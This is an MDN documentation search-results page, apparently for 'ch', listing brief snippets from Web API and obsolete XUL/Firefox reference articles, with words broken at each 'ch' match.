Search completed in 1.56 seconds.
SpeechSynthesisUtterance.pitch - Web APIs
the pit
ch property of the spee
chsynthesisutterance interface gets and sets the pit
ch at whi
ch the utterance will be spoken at.
... syntax // default 1 spee
chsynthesisutteranceinstance.pit
ch = 1.5; value a float representing the pit
ch value.
... it can range between 0 (lowest) and 2 (highest), with 1 being the default pit
ch for the current platform or voice.
...And 3 more matches
modDateChanged - Archive of obsolete content
method of file object syntax boolean moddate
changed (filespecobject asourcefolder, number anolddate); parameters the moddate
changed method has the following parameters: asourcefolder a filespecobject representing the file to be queried.
... description most often, the date passed in as the second parameter in moddate
changed is the returned value from a moddate on a separate file, as in the following example, in whi
ch the dates of two files are compared.
... example filesource1 = getfolder("program", "file1.txt"); filesource2 = getfolder("program", "file2.txt"); err1 = file.moddate(filesource1); // the baseline returned err2 = file.moddate
changed(filesource1, err1); logcomment("file.moddate
changed should return 'false' = " + err2); // the reason it expects false is we're comparing // the return 'time stamp' value for // file1.txt with the actual file1.txt itself.
...And 2 more matches
popupanchor - Archive of obsolete content
« xul reference homepopupan
chortype: one of the values belowpopupan
chor is an optional attribute for specifying where popup content should be an
chored on the element.noneno an
chortopleftan
chor to the top left cornertoprightan
chor to the top right cornerbottomleftan
chor to the bottom left cornerbottomrightan
chor to the bottom right cornersyntax<element popupan
chor="none | topleft | topright | bottomleft | bottomright" /> example<element id="edit-context" popup="editor-popup" popupan
chor="topleft" popupalign="bottomright" /> notesthe popupan
chor attribute can be used to specify that the popup content should come up an
chored to one of the four corners of the content object (e.g., the button popping up the content).
... if omitted, no an
choring occurs.
...this point (either directly under the mouse or atta
ched to one of the four corners) is called the originating point.by default the popup content appears with its top left point located directly underneath the point at whi
ch the user's mouse goes down (on tooltips the content is displaced by the height of the mouse cursor).
...And 2 more matches
searchSessions - Archive of obsolete content
« xul reference home sear
chsessions obsolete since gecko 26 type: space-separated list of session names set to a keyword indicating what type of data to look up for autocomplete.
...the following values are possible, although custom components may be installed whi
ch add others.
... history: the user's url history is sear
ched.
...And 2 more matches
-ms-touch-select - Archive of obsolete content
the -ms-tou
ch-select css property is a microsoft extension that toggles the gripper visual elements that enable tou
ch text selection.
... none the grippers are always off and default tou
ch selection functionality is not provided.
... the -ms-tou
ch-select property should only be used by applications that provide their own selection experience.
...And 2 more matches
ChannelSplitterNode.ChannelSplitterNode() - Web APIs
the
channelsplitternode() constructor of the web audio api creates a new
channelsplitternode object instance, representing a node that splits the input into a separate output for ea
ch of the source node's audio
channels.
... syntax var splitter = new
channelspitternode(context, options); parameters inherits parameters from the audionodeoptions dictionary.
... options optional a
channelsplitteroptions dictionary object defining the properties you want the
channelsplitternode to have (it also inherits the options defined in the audionodeoptions dictionary): numberofoutputs: a number defining the number of inputs the
channelsplitternode should have.
...And 2 more matches
SpeechSynthesis.onvoiceschanged - Web APIs
the onvoices
changed property of the spee
chsynthesis interface represents an event handler that will run when the list of spee
chsynthesisvoice objects that would be returned by the spee
chsynthesis.getvoices() method has
changed (when the voices
changed event fires.) this may occur when spee
ch synthesis is being done on the server-side and the voices list is being determined asyn
chronously, or when client-side voices are installed/uninstalled while a spee
ch synthesis application is running.
... syntax spee
chsynthesisinstance.onvoices
changed = function() { ...
... }; examples this could be used to populate a list of voices that the user can
choose between when the event fires (see our speak easy synthesis demo.) note that firefox doesn't support it at present, and will just return a list of voices when spee
chsynthesis.getvoices() is fired.
...And 2 more matches
SpeechSynthesisUtterance.SpeechSynthesisUtterance() - Web APIs
the spee
chsynthesisutterance() constructor of the spee
chsynthesisutterance interface returns a new spee
chsynthesisutterance object instance.
... syntax var utterthis = new spee
chsynthesisutterance(text); parameters text a domstring containing the text that will be synthesized when the utterance is spoken..
... examples the following snippet is excerpted from our spee
ch synthesizer demo.
...And 2 more matches
TouchList.identifiedTouch() - Web APIs
the identifiedtou
ch() method returns the first tou
ch item in the tou
chlist that mat
ches the specified identifier.
... it is recommended that you use tou
chlist.item() instead.
... syntax var tou
chitem = tou
chlist.identifiedtou
ch(id); parameters id an integer value identifying the tou
ch object to retrieve from the list.
...And 2 more matches
chrome - Archive of obsolete content
this module should not be confused with the "
chrome" global variable that webextensions can use to access apis.
... the
chrome module gives an add-on sdk add-on access to the components object, whi
ch in turn gives it access to a large set of privileged low-level firefox apis.
...
chrome is a built-in pseudo module of the toolkit loader.
... see the
chrome authority tutorial for more details.
Using XPCOM without chrome - Archive of obsolete content
using sdk xpcom with the low-level module sdk/platform/xpcom , it's possible to exclude
chrome and xpcomutils in some cases.
... examples bookmarks observer normally, a bookmark observer would require
chrome components and xpcomutils as described in the following links: (observing
changes to bookmarks and tags) , (creating event targets).
... below is an example, where we extend the xpcom module's unknown class with an nsinavbookmarkobserverinterface and one of its optional interface methods (onitem
changed).
... // this removes the need to import ci and the xpcomutils const { class } = require("sdk/core/heritage"); const { unknown } = require('sdk/platform/xpcom'); const { placesutils } = require("resource://gre/modules/placesutils.jsm"); let bmlistener = class({ extends: unknown, interfaces: [ "nsinavbookmarkobserver" ], //this event most often handles all events onitem
changed: function(bid, prop, an, nv, lm, type, parentid, aguid, aparentguid) { console.log("onitem
changed", "bid: "+bid, "property: "+prop, "isanno: "+an, "new value: "+nv, "lastmod: "+lm, "type: "+type, "parentid:"+parentid, "aguid:"+aguid);0 // code to handle the event here } }); //we just have a class, but need an object.
levelchange - Archive of obsolete content
the level
change event is fired when the level attribute of the battery api has
changed.
... property type description batterymanager.level double (float) the system's battery
charging level scaled from 0 to 1.0.
...returns 1.0 if the battery is full, if the implementation is unable to report the battery's level, or if there is no battery atta
ched to the system.
... example navigator.getbattery().then(function(battery) { console.log("battery level: " + battery.level * 100 + " %"); battery.addeventlistener('level
change', function() { console.log("battery level: " + battery.level * 100 + " %"); }); }); related events
charging
change
chargingtime
change dis
chargingtime
change ...
The Download Manager schema - Archive of obsolete content
the current database s
chema version is 8.
... this information is available using nsidownloadmanager methods to retrieve nsidownload objects for ea
ch download entry; however, if you feel like poking directly into the table, you can do so using the storage api.
... the s
chema table field name type description id integer a unique id for the download.
... entityid text the entity id from the nsiresumable
channel used to implement the download
channel.
XTech 2006 Presentations - Archive of obsolete content
javascript 2 and the future of the web - brendan ei
ch javascript 2 will be finalised in 2007.
... layout algorithm improvements for web user interfaces (slides, slides as one page) - david baron a discussion of problems with existing standards and potential improvements in two areas: layout systems for user interfaces (rather than documents) and me
chanisms for reordering content to allow the author to use good markup and appropriate layout.
... svg and canvas: graphics for web apps - vladimir vukićević this presentation examines some of the strengths and weaknesses of the html 'canvas' and svg for adding ri
ch graphical capabilities to web applications.
... converging ri
ch-client and web application development with mozilla xulrunner (open office format) - benjamin smedberg this presentation demonstrates the convergence of ri
ch-client and web application development and discuss application deployment using mozilla xulrunner.
-ms-content-zoom-chaining - Archive of obsolete content
the -ms-content-zoom-
chaining css property is a microsoft extension specifying the zoom behavior that occurs when a user hits the zoom limit during page manipulation.
...
chained the nearest zoomable parent element begins zooming when the user hits a zoom limit during page manipulation.
... formal syntax none |
chained specifications not part of any specification.
... starting with windows 8.1, this property is also supported for tou
chpad interaction.
-ms-hyphenate-limit-chars - Archive of obsolete content
the -ms-hyphenate-limit-
chars css property is a microsoft extension that specifies one to three values indicating the minimum number of
characters in a hyphenated word.
... if the word does not meet the required minimum number of
characters in the word, before the hyphen, or after the hyphen, then the word is not hyphenated.
... initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values auto corresponds to a value of 5 2 2, indicating a 5-
character word limit, 2
characters required before a hyphenation break, and 2
characters required following a hyphenation break.
... <integer>{1,3} one to three integer values, corresponding to the word limit, the minimum number of
characters required before a hyphenation break, and the minimum number of
characters required following a hyphenation break, respectively.
BatteryManager.onchargingchange - Web APIs
specifies an event listener to receive
charging
change events.
... these events occur when the battery
charging state is updated.
... syntax battery.on
charging
change = funcref where battery is a batterymanager object, and funcref is a function to be called when the
charging
change event occurs.
... example html content <div id="level">(battery level unknown)</div> <div id="
chargingtime">(
charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.on
charging
change =
charging
change(); function
charging
change() { document.queryselector('#level').textcontent = battery.level; document.queryselector('#
chargingtime').textcontent = battery.
chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onchargingtimechange - Web APIs
specifies an event listener to receive
chargingtime
change events.
... these events occur when the battery
chargingtime is updated.
... syntax battery.on
chargingtime
change = funcref where battery is a batterymanager object, and funcref is a function to be called when the
chargingtime
change event occurs.
... example html content <div id="level">(battery level unknown)</div> <div id="
chargingtime">(
charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.on
chargingtime
change =
chargingtime
change(); function
chargingtime
change(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#
chargingtime').textcontent = battery.
chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.ondischargingtimechange - Web APIs
specifies an event listener to receive dis
chargingtime
change events.
... these events occur when the battery dis
chargingtime is updated.
... syntax battery.ondis
chargingtime
change = funcref where battery is a batterymanager object, and funcref is a function to be called when the dis
chargingtime
change event occurs.
... example html content <div id="level">(battery level unknown)</div> <div id="
chargingtime">(
charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.ondis
chargingtime
change = dis
chargingtime
change; function dis
chargingtime
change(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#
chargingtime').textcontent = battery.
chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
RTCDataChannelEvent.channel - Web APIs
the read-only property rtcdata
channelevent.
channel returns the rtcdata
channel associated with the event.
... syntax var
channel = rtcdata
channelevent.
channel; value a rtcdata
channel object representing the data
channel linking the receiving rtcpeerconnection to its remote peer.
... example the first line of code in the data
channel event handler shown below takes the
channel from the event object and saves it locally for use by the code handling data traffic.
... pc.ondata
channel = function(event) { inbounddata
channel = event.
channel; inbounddata
channel.onmessage = handleincomingmessage; inbounddata
channel.onopen = handle
channelopen; inbounddata
channel.onclose = handle
channelclose; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdata
channelevent.
channel' in that specification.
SpeechGrammar.SpeechGrammar() - Web APIs
the spee
chgrammar constructor of the spee
chgrammar interface creates a new spee
chgrammar object instance.
... syntax var myspee
chgrammar = new spee
chgrammar(); parameters none.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown |
chocolate | coral | crimson | cyan | fu
chsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | or
chid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new spee
chrecognition(); var spee
chrecognitionlist = new spee
chgrammarlist(); spee
chrecognitionlist.addfromstring(grammar, 1); recognition.grammars = spee
chrecognitionlist; var newgrammar = new spee
chgrammar(); newgrammar.src = '#jsgf v1.0; grammar names; public <name> =
chris | kirsty | mike;' spee
chrecog...
...nitionlist[1] = newgrammar; // should add the new spee
chgrammar object to the list specifications specification status comment web spee
ch apithe definition of 'spee
chgrammar()' in that specification.
SpeechGrammarList.SpeechGrammarList() - Web APIs
the spee
chgrammarlist() constructor creates a new spee
chgrammarlist object instance.
... syntax var mygrammarlist = new spee
chgrammarlist(); parameters none.
... examples in our simple spee
ch color
changer example, we create a new spee
chrecognition object instance using the spee
chrecognition() constructor, create a new spee
chgrammarlist, add our grammar string to it using the spee
chgrammarlist.addfromstring method, and set it to be the grammar that will be recognised by the spee
chrecognition instance using the spee
chrecognition.grammars property.
... var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown |
chocolate | coral | crimson | cyan | fu
chsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | or
chid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new spee
chrecognition(); var spee
chrecognitionlist = new spee
chgrammarlist(); spee
chrecognitionlist.addfromstring(grammar, 1); recognition.grammars = spee
chrecognitionlist; specifications specification status comment web spee
ch apithe definition of 'spee
chgrammarlist' in that specification.
SpeechRecognition.onnomatch - Web APIs
the onnomat
ch property of the spee
chrecognition interface represents an event handler that will run when the spee
ch recognition service returns a final result with no significant recognition (when the nomat
ch event fires.) this may involve some degree of recognition, whi
ch doesn't meet or exceed the confidence threshold.
... note: the onnomat
ch handler does not yet work properly in firefox — the spee
ch recognition system always returns a positive mat
ch, and then guesses at what item in the grammar it found.
... syntax myspee
chrecognition.onnomat
ch = function() { ...
... }; examples var recognition = new spee
chrecognition(); recognition.onnomat
ch = function() { console.log('spee
ch not recognised'); } specifications specification status comment web spee
ch apithe definition of 'onnomat
ch' in that specification.
XUL School Tutorial - Archive of obsolete content
xul s
chool is a comprehensive add-on development tutorial, focusing on firefox extension development.
...while firefox
changes rapidly, the content in this tutorial should be up to date and valid.
... the box model xpcom objects observer notifications custom xul elements with xbl mozilla documentation roadmap useful mozilla community sites appendices appendix a: add-on performance appendix b: install and uninstall scripts appendix c: avoiding using eval in add-ons appendix d: loading scripts appendix e: dom building and html insertion appendix f: monitoring dom
changes the xul s
chool project was developed by appcoast (formerly glaxstar).
cached - Archive of obsolete content
the ca
ched event is fired when the resources listed in the application ca
che manifest have been downloaded, and the application is now ca
ched.
... general info specification offline interface event bubbles no cancelable no target applicationca
che default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events
checking noupdate downloading progress ca
ched updateready obsolete error ...
checking - Archive of obsolete content
the
checking event is fired when the user agent is
checking for an update, or attempting to download the ca
che manifest for the first time.
... general info specification offline interface event bubbles no cancelable no target applicationca
che default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events
checking noupdate downloading progress ca
ched updateready obsolete error ...
Enabling quicklaunch for all users - Archive of obsolete content
enabling quicklaun
ch for all users unlike all other settings, quicklaun
ch is stored in the windows registry.
... to enable it, just load the following registry script into the user's windows registry: quicklaun
ch.reg.
... this can be performed automatically by including the following command into the windows logon script: regedit /s \\server\netlogon\reg\quicklaun
ch.reg ...
Plugin Architecture - Archive of obsolete content
no released product uses this specific ar
chitecture.
...the described sequences are subject to
change at any time.
... classes there are some classes involved in plugins: nsobjectloadingcontent embed, object and applet nodes inherit from that class, whi
ch provides services for loading various kinds of objects.
URIScheme - Archive of obsolete content
list of mozilla supported uri s
chemes list of uri s
chemes http:// by default, port 80 https:// by default, port 443 (ssl) ftp:// by default, port 21 file:// : file:///etc/hosts on unix/linux, file:///c:/some/file.txt on windows.
...and the size number by 1 to 127 mailto:emailaddress@domain.com about:
chrome:// ...
... preferences see gecko.handlerservice.s
chemes.* scripting interface see nsiprotocolhandler to create a new protocol/s
cheme.
autocheck - Archive of obsolete content
« xul reference home auto
check type: boolean if this attribute is true or left out, the
checked state of the button will be swit
ched ea
ch time the button is pressed.
... if this attribute is false, the
checked state must be adjusted manually.
... when auto
check is true, the button type should be "
checkbox" or "radio".
onchange - Archive of obsolete content
« xul reference home overview an on
change attribute is an event listener to the object for the event
change.
... a
change event is fired in different ways for different xul input elements as listed below: on
change type: script code textbox when enter key is pressed radio/
check box when the state is
changed select list when the selected item is
changed what is accessible the script context at this point can only access the following things: global values/functions i.e.
... window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="
chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" on
change="return myfunction(event);"/> </window> ...
searchlabel - Archive of obsolete content
« xul reference home sear
chlabel type: string text used for 'find-as-you-type' (fayt) sear
ching.
... in situations where the sear
ch text is ambiguous or missing, sear
chlabel can be used to give context to fayt.
... if sear
chlabel is not present, fayt falls back to use the label property.
treechildren - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata example <tree flex="1"> <treecols> <treecol id="sender" label="sender" flex="1"/> <treecol id="subject" label="subject" flex="2"/> </treecols> <tree
children> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever...
....com"/> <treecell label="let's do lun
ch"/> </treerow> </treeitem> </tree
children> </tree> related elements tree, treecols, treecol, treeitem, treerow, treecell and treeseparator.
toolkit.defaultChromeURI - Archive of obsolete content
type: string specified by: default prefs of xulrunner applications default: none example: pref("toolkit.default
chromeuri", "
chrome://myapp/content/"); the toolkit.default
chromeuri preference allows simple xulrunner-based applications to open a new window when the application is laun
ched.
... the preference specifies the uri of a
chrome window to be opened.
... see also: xulrunner:specifying startup
chrome window, toolkit.default
chromefeatures, toolkit.singletonwindowtype.
xulauncher - Archive of obsolete content
#!/bin/bash -e # a simple bash script to create a minimal xulrunner dir structure and # needed meta files in /tmp, copy the xul-file over and start it # usage: # xulaun
cher xulfile.xul [options] ############################################################################## #
check if theres atleast one parameter ############################################################################## if [ $# -lt 1 ] then e
cho "you need to give the xul file as first parameter" exit fi #
check if 1st parameter is a file ############################################################################## if [ !
... -f "$1" ] then e
cho "\"$1\" is not a file" exit fi # define some variables ############################################################################## wd=/tmp ext=".xul" xulfile=`basename $1` xulname=${xulfile%$ext} xuldir="$wd/$xulname/
chrome/$xulname/" xulprefdir="$wd/$xulname/defaults/preferences" xulappini="$wd/$xulname/application.ini" xulmanifest="$wd/$xulname/
chrome/
chrome.manifest" xulprefs="$wd/$xulname/defaults/preferences/prefs.js" # make minimal directory structure ############################################################################## mkdir -p $xuldir mkdir -p $xulprefdir # create application.ini file ############################################################################## e
cho " [app] vendor=xulaun
cher.sh name=$xulname version=0.0.1 buildid=`date +%y%m...
...%d` [gecko] minversion=1.8 maxversion=1.9 ">$xulappini # create
chrome.manifest file ############################################################################## e
cho " content $xulname file:$xulname/ ">$xulmanifest # create prefs.js file ############################################################################## e
cho " pref(\"toolkit.default
chromeuri\", \"
chrome://$xulname/content/$xulfile\"); /* debugging prefs */ pref(\"browser.dom.window.dump.enabled\", true); pref(\"javascript.options.showinconsole\", true); pref(\"javascript.options.strict\", true); pref(\"nglayout.debug.disable_xul_ca
che\", true); pref(\"nglayout.debug.disable_xul_fastload\", true); ">$xulprefs # copy xul file to right location and run it #######################################################################...
Multi-process plugin architecture - Archive of obsolete content
when plugins run in the same process as the browser, any leaks or crashes in the plugin will affect the entire browser: in order to make the browser user experience better, it is possible to separate plugin execution from the process in whi
ch the browser normally executes.
... when multi-process plugins are enabled, a shim layer in the browser implements the plugin api (the npp_ functions whi
ch would normally be implemented directly by the plugin).
...in addition to crash protection, the multi-process plugin ar
chitecture allows firefox to see plugins whi
ch respond very slowly or have completely stopped responding.
-moz-touch-enabled - Archive of obsolete content
syntax <integer> if the device supports tou
ch events (for a tou
ch screen), this is 1.
... media: media/visual accepts min/max prefixes: no example you might use this feature to render your buttons slightly larger if the user is on a tou
ch-screen device, to make them more finger-friendly.
... button { padding: .5em; } @media (-moz-tou
ch-enabled) { button { padding: 1em; } } ...
ChromeWorkers and the Chrome worker loader
to complement the open web worker functionality, mozilla has introduced the
chromeworker interface, whi
ch provides this capability within application
chrome.
... this documentation covers
chrome workers and the
chrome worker module loader.
...
chrome worker modulesthe preferred way to define and load modules for
chrome workers is to use the
chrome worker module loader.
SpeechRecognition: nomatch event - Web APIs
the nomat
ch event of the web spee
ch api is fired when the spee
ch recognition service returns a final result with no significant recognition.
... this may involve some degree of recognition, whi
ch doesn't meet or exceed the confidence threshold.
... bubbles no cancelable no interface spee
chrecognitionevent event handler property onnomat
ch examples you can use the nomat
ch event in an addeventlistener method: var recognition = new webkitspee
chrecognition() || new spee
chrecognition(); recognition.addeventlistener('nomat
ch', function() { console.log('spee
ch not recognized'); }); or use the onnomat
ch event handler property: recognition.onnomat
ch = function() { console.log('spee
ch not recognized'); } specifications specification status comment web spee
ch apithe definition of 'spee
ch recognition events' in that specification.
SpeechSynthesis: voiceschanged event - Web APIs
the voices
changed event of the web spee
ch api is fired when the list of spee
chsynthesisvoice objects that would be returned by the spee
chsynthesis.getvoices() method has
changed (when the voices
changed event fires.) bubbles no cancelable no interface event event handler property onvoices
changed examples this could be used to repopulate a list of voices that the user can
choose between when the event fires.
... you can use the voices
changed event in an addeventlistener method: var synth = window.spee
chsynthesis; synth.addeventlistener('voices
changed', function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.append
child(option); } }); or use the onvoices
changed event handler property: synth.onvoices
changed = function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; opti...
...on.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.append
child(option); } } specifications specification status comment web spee
ch apithe definition of 'spee
ch synthesis events' in that specification.
SpeechSynthesisEvent.charIndex - Web APIs
the
charindex read-only property of the spee
chsynthesisutterance interface returns the index position of the
character in the spee
chsynthesisutterance.text that was being spoken when the event was triggered.
... syntax event.
charindex; value a number.
... examples utterthis.onpause = function(event) { var
char = event.utterance.text.
charat(event.
charindex); console.log('spee
ch paused at
character ' + event.
charindex + ' of "' + event.utterance.text + '", whi
ch is "' +
char + '".'); } specifications specification status comment web spee
ch apithe definition of '
charindex' in that specification.
URLSearchParams.forEach() - Web APIs
the forea
ch() method of the urlsear
chparams interface allows iteration through all values contained in this object via a callback function.
... syntax sear
chparams.forea
ch(callback); parameters callback a callback function that is executed against ea
ch parameter, with the param value provided as its parameter.
... examples // create a test urlsear
chparams object var sear
chparams = new urlsear
chparams("key1=value1&key2=value2"); // log the values sear
chparams.forea
ch(function(value, key) { console.log(value, key); }); the result is: value1 key1 value2 key2 specifications specification status comment urlthe definition of 'forea
ch() (see "iterable")' in that specification.
InstallTrigger.installChrome - Archive of obsolete content
installtrigger.install
chrome trigger scripts are typically invoked by javascript event handlers on hyperlinks.
...<a href="#" onclick="installtrigger.install
chrome( installtrigger.skin, 'http://wildskins/newblue.xpi', 'newblue/1.0');"> install the new blue theme</a> ...
Index - Archive of obsolete content
found 3833 pages: # page tags and summary 1 ar
chive of obsolete content ar
chive, landing here at mdn, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers.
... 2 .htaccess ( hypertext access ) 301 redirect, ca
che control, custom error pages, htaccess, permanent redirect, redirect file accessing : htaccess files can be opened using any text editor, like windows notepad, vin, sublime text editor or any other.
... 3 2015 mdn fellowship program 2015, ar
chive, fellowship no summary!
...And 673 more matches
Index - Archive of obsolete content
this is a special type of button whi
ch is drawn differently.
... 3 a xul bestiary add-ons, extensions, needste
chnicalreview, xul this xulnote presents some of the key concepts and terms in the xul development environment.
...in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's new te
chnologies -- and in particular mozilla's xml-based user interface language, xul.
...And 238 more matches
StringView - Archive of obsolete content
the aims of this library are: to create a c-like interface for strings (i.e., an array of
character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for su
ch string-like objects (since now: stringviews) whi
ch work strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features su
ch as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times wh...
...in the past, this had to be simulated by treating the raw data as a string and using the
charcodeat() method to read the bytes from the data buffer.
... javascript typed arrays provide a me
chanism for accessing raw binary data mu
ch more efficiently.
...And 141 more matches
Web video codec guide - Web media technologies
at a typical 30 frames per second, ea
ch second of hd video would occupy 248,832,000 bytes (~249 mb).
... most video codecs are lossy, in that the decoded video does not precisely mat
ch the source.
... some details may be lost; the amount of loss depends on the codec and how it's configured, but as a general rule, the more compression you a
chieve, the more loss of detail and fidelity will occur.
...And 126 more matches
Regular expression syntax cheatsheet - JavaScript
this page provides an overall
cheat sheet of all the capabilities of regexp syntax by aggregating the content of the articles in the regexp guide.
...
character classes if you are looking to contribute to this document, please also edit the original article
characters meaning .
... has one of the following meanings: mat
ches any single
character except line terminators: \n, \r, \u2028 or \u2029.
...And 123 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
in this article, i will describe mozilla's quirks mode, whi
ch provides strong backwards html compatibility with internet explorer and other legacy browsers.
... i'll also cover nonstandard te
chnologies, su
ch as xmlhttprequest and ri
ch text editing, that mozilla does support because no w3c equivalent existed at the time.
...many browsers, su
ch as internet explorer, also support pre-w3c apis and have never added extensive support for the w3c-compliant ones.
...And 117 more matches
mach
ma
ch (german for to make) is a program via the "command-line interface" to help developers perform installation tasks su
ch as installing firefox from its c++ source code.
... requirements ma
ch requires a current version of /mozilla-central/ (or a tree derived from there).
... ma
ch was committed on 2012-sep-26.
...And 114 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
this article reviews several approa
ches to browser detection, their usefulness in specific circumstances to arrive at a common sense approa
ch to browser detection.
...note that some other browsers su
ch as safari are reporting (like gecko) in their user agent strings and can confuse simple tests.
...however, we don't quite live in su
ch a world yet.
...And 112 more matches
Mozilla accessibility architecture
intro this document is for people who wish to understand the ar
chitecture of mozilla's accessibility api module, whi
ch provides support for platform accessibility apis.
... accessibility apis are used by 3rd party software like screen readers, screen magnifiers, and voice dictation software, whi
ch need information about document content and ui controls, as well as important events like
changes of focus.
...if you're interested in linux or unix accessibility,
check out mozilla's atk project page.
...And 106 more matches
Using the application cache - HTML: Hypertext Markup Language
using this application ca
che feature is highly discouraged; it’s in the process of being removed from the web platform.
... as of firefox 44+, when appca
che is used to provide offline support for a page, a warning message displays in the console advising developers to use service workers instead (bug 1204581).
... introduction html5 provides an application ca
ching me
chanism that lets web applications run offline.
...And 104 more matches
Web audio codec guide - Web media technologies
in this article, we look at audio codecs used on the web to compress and decompress audio, what their capabilities and use cases are, and offer guidance when
choosing audio codecs to use for your content.
... common codecs the list below denotes the codecs most commonly used on the web and whi
ch containers (file types) support them.
... if all you need to know is whi
ch codecs are even possible to use, this is for you.
...And 101 more matches
Digital audio concepts - Web media technologies
representing audio in digital form involves a number of steps and processes, with multiple formats available both for the raw audio and the encoded or compressed audio whi
ch is actually used on the web.
...the granularity of an audio wave in the real world, then, is that of an individual molecule of the medium through whi
ch the sound wave is traveling.
... the sounds a person hears every day are, then, actually vibrations in the air whi
ch cause the inner workings of the ear.
...And 97 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
public-key cryptography and related standards and te
chniques underlie the security features of many products su
ch as signed and encrypted email, single sign-on, and secure sockets layer (ssl) communications.
...for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." public-key cryptography is a set of well-established te
chniques and standards for protecting communications from eavesdropping, tampering, and impersonation attacks.
... encryption and decryption allow two communicating parties to disguise information they send to ea
ch other.
...And 90 more matches
HTTP Cache
this document describes the new http ca
che version 2.
... the code resides in /network/ca
che2.
... api here is a detailed description of the http ca
che v2 api, examples included.
...And 89 more matches
Image file type and format guide - Web media technologies
abbreviation file format mime type file extension(s) browser compatibility apng animated portable network graphics image/apng .apng
chrome, edge, firefox, opera, safari bmp bitmap file image/bmp .bmp
chrome, edge, firefox, internet explorer, opera, safari gif graphics inter
change format image/gif .gif
chrome, edge, firefox, internet explorer, opera, safari ico microsoft icon image/x-icon .ico, .cur
chrome, edge, firefox, internet explorer, opera, safari jpeg...
... joint photographic expert group image image/jpeg .jpg, .jpeg, .jfif, .pjpeg, .pjp
chrome, edge, firefox, internet explorer, opera, safari png portable network graphics image/png .png
chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg
chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp
chrome, edge, firefox, opera the abbreviation for ea
ch format links to a longer description of the format, its capabilities, and detailed browser compatibility information; including whi
ch versions introduced support and specific...
... image file type details the following sections provide a brief overview of ea
ch of the image file types supported by web browsers.
...And 89 more matches
Elements - Archive of obsolete content
<!element bindings ( binding* ) > hierar
chy: root element may contain: <binding> the bindings element is the root element of any xbl document.
... bindings contains zero or more binding elements as
children.
... ea
ch binding
child element defines a unique binding that can be atta
ched to elements in other documents.
...And 62 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
